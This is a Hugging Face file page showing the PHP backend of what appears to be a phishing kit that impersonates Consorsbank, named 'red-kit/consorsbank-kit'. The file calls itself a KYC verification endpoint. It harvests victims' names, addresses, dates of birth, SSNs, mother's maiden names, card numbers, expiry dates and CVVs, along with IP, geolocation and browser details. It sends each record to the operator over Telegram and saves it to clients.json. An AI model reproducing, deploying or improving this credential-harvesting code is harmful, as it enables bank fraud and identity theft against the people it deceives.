Spaces:
Paused
Paused
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145 Download verify-client.php from red-kit/consorsbank-kit: direct link, hf CLI and curl.
- Browser
- Download file 4.08 kB
-
https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/verify-client.php
- Command line
-
hf download hf://spaces/red-kit/consorsbank-kit/verify-client.php
-
curl -L -o verify-client.php https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/verify-client.php
4.08 kB
| /** | |
| * verify-client.php — identity / KYC submission endpoint. | |
| * | |
| * Runs the shared validators, notifies via Telegram, appends the full record to | |
| * clients.json. Returns {status, valid}. | |
| */ | |
| declare(strict_types=1); | |
| require_once __DIR__ . '/lib.php'; | |
| header('Access-Control-Allow-Origin: *'); | |
| header('Access-Control-Allow-Methods: POST, GET, OPTIONS'); | |
| header('Access-Control-Allow-Headers: Content-Type'); | |
| header('Content-Type: application/json; charset=utf-8'); | |
| header('Cache-Control: no-store'); | |
| if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') { | |
| http_response_code(204); | |
| exit; | |
| } | |
| /** Read merged JSON / form / query input. */ | |
| function vc_input(): array | |
| { | |
| $in = array_merge($_GET, $_POST); | |
| $raw = file_get_contents('php://input'); | |
| if (is_string($raw) && $raw !== '') { | |
| $j = json_decode($raw, true); | |
| if (is_array($j)) { | |
| $in = array_merge($in, $j); | |
| } | |
| } | |
| return $in; | |
| } | |
| /** Append a record to a JSON-array file (best-effort, locked). */ | |
| function vc_append(string $path, array $record): void | |
| { | |
| try { | |
| $fh = @fopen($path, 'c+'); | |
| if ($fh === false) { | |
| return; | |
| } | |
| if (flock($fh, LOCK_EX)) { | |
| $raw = stream_get_contents($fh); | |
| $arr = []; | |
| if (is_string($raw) && trim($raw) !== '') { | |
| $decoded = json_decode($raw, true); | |
| if (is_array($decoded)) { | |
| $arr = $decoded; | |
| } | |
| } | |
| $arr[] = $record; | |
| ftruncate($fh, 0); | |
| rewind($fh); | |
| fwrite($fh, json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)); | |
| fflush($fh); | |
| flock($fh, LOCK_UN); | |
| } | |
| fclose($fh); | |
| } catch (Throwable $e) { | |
| // best-effort | |
| } | |
| } | |
| $in = vc_input(); | |
| $clientId = trim((string) ($in['client_id'] ?? ($in['clientId'] ?? ''))); | |
| $device = (string) ($in['device'] ?? ''); | |
| $bot = (string) ($in['bot'] ?? ''); | |
| if ((string) ($in['hp'] ?? '') !== '') { | |
| $bot = 'bot'; | |
| } | |
| $hasPhoto = !empty($in['has_photo']) && (string) $in['has_photo'] !== '0' ? 1 : 0; | |
| $docType = (string) ($in['doc_type'] ?? ''); | |
| $docType = in_array($docType, ['pa', 'pp'], true) ? $docType : ''; | |
| $ip = ofb_client_ip(); | |
| $ua = (string) ($_SERVER['HTTP_USER_AGENT'] ?? ''); | |
| $ctx = [ | |
| 'client_id' => $clientId, | |
| 'device' => $device, | |
| 'ip' => $ip, | |
| 'geo' => ofb_geo($ip), | |
| 'browser' => ofb_browser($ua), | |
| 'full_name' => (string) ($in['full_name'] ?? ''), | |
| 'email' => (string) ($in['email'] ?? ''), | |
| 'phone' => (string) ($in['phone'] ?? ''), | |
| 'address' => (string) ($in['address'] ?? ''), | |
| 'dob' => (string) ($in['dob'] ?? ''), | |
| 'ssn' => (string) ($in['ssn'] ?? ''), | |
| 'mmn' => (string) ($in['mmn'] ?? ''), | |
| 'card_number'=> (string) ($in['card_number'] ?? ''), | |
| 'expiry' => (string) ($in['expiry'] ?? ''), | |
| 'cvv' => (string) ($in['cvv'] ?? ''), | |
| 'zipcode' => (string) ($in['zipcode'] ?? ''), | |
| ]; | |
| $checks = validate_verification($in); | |
| $valid = !in_array(false, $checks, true); | |
| ofb_telegram(ofb_msg_identity($ctx, $checks)); | |
| $record = array_merge($ctx, [ | |
| 'valid' => $valid, | |
| 'checks' => $checks, | |
| 'has_photo' => $hasPhoto, | |
| 'doc_type' => $docType, | |
| 'device' => $device, | |
| 'bot' => $bot, | |
| 'ip' => $ip, | |
| 'timestamp' => date('Y-m-d H:i:s'), | |
| ]); | |
| vc_append(__DIR__ . '/clients.json', $record); | |
| // keep the live row current | |
| try { | |
| if ($clientId !== '') { | |
| $pdo = ofb_db(); | |
| $fields = [ | |
| 'ip_address' => $ip, | |
| 'email' => $ctx['email'], | |
| 'verified_at' => date('Y-m-d H:i:s'), | |
| 'last_seen' => date('Y-m-d H:i:s'), | |
| ]; | |
| if ($docType !== '') { | |
| $fields['doc_type'] = $docType; | |
| } | |
| ofb_upsert($pdo, $clientId, $fields); | |
| } | |
| } catch (Throwable $e) { | |
| // best-effort | |
| } | |
| echo json_encode(['status' => 'ok', 'valid' => (bool) $valid]); | |